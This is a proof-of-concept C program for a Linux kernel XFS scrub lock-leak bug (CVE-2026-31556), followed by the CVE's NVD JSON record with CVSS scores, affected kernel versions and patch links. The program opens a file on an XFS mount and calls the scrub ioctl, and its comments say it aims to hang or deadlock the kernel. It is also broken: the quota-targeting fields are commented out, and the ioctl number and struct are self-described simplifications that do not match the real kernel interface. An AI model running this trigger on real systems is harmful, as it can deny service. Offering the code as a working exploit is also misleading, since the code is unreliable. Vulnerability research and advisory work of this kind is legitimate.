CVE-2026-31556

/* * PoC for CVE-2026-31556 * This is a conceptual trigger. Exploiting this requires a mounted XFS filesystem * and invoking the scrub ioctl which leads to the buggy code path. * Successful execution will likely cause a kernel hang/deadlock. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> // Define XFS scrub ioctl structures (simplified for illustration) #define XFS_IOC_SCRUB_METADATA _IOWR('X', 152, struct xfs_scrub_metadata) struct xfs_scrub_metadata { __u32 sm_type; __u32 sm_flags; __u64 sm_ino; __u32 sm_gen; __u32 sm_agno; __u64 sm_number; __u64 sm_reserved[2]; }; int main() { int fd; struct xfs_scrub_metadata scrub = {0}; // Open a file on the XFS filesystem fd = open("/mnt/xfs/testfile", O_RDWR); if (fd < 0) { perror("open"); return 1; } // Set up the scrub structure to target quota items // Specific type values depend on kernel headers (e.g., XFS_SCRUB_TYPE_QUOTA) // scrub.sm_type = XFS_SCRUB_TYPE_QUOTA; // scrub.sm_number = ...; // Target a specific dquot that might trigger the error path // Invoke the ioctl // Note: Triggering the specific error condition inside xchk_quota_item // might require specific filesystem state or corrupted metadata. if (ioctl(fd, XFS_IOC_SCRUB_METADATA, &scrub) < 0) { perror("ioctl"); close(fd); return 1; } printf("Scrub completed. If vulnerable, system might hang before this point.\n"); close(fd); return 0; }

{"cve": {"id": "CVE-2026-31556", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-24T15:16:29.977", "lastModified": "2026-04-27T20:14:18.343", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nxfs: scrub: unlock dquot before early return in quota scrub\n\nxchk_quota_item can return early after calling xchk_fblock_process_error.\nWhen that helper returns false, the function returned immediately without\ndropping dq->q_qlock, which can leave the dquot lock held and risk lock\nleaks or deadlocks in later quota operations.\n\nFix this by unlocking dq->q_qlock before the early return."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.8.1", "versionEndExcluding": "6.12.80", "matchCriteriaId": "5D6E7FC1-C351-46F7-8992-750C075964CD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.21", "matchCriteriaId": "ED39847A-3B46-4729-B7CA-B2C30B9FA8FE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.11", "matchCriteriaId": "4CA2E747-A9EC-4518-9AA2-B4247FC748B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.8:-:*:*:*:*:*:*", "matchCriteriaId": "41E47F32-BA80-4333-96FD-4D25082B0FDD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/268378b6ad20569af0d1957992de1c8b16c6e900", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/3b0c3414b308e6822cda90bf99f7eac94d4cca2b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/d128fc0c5c2b19224927d4fd2a46c2fe6a1f606f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/e822f535273af0e8968eab7acc0cea0b90dd25af", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}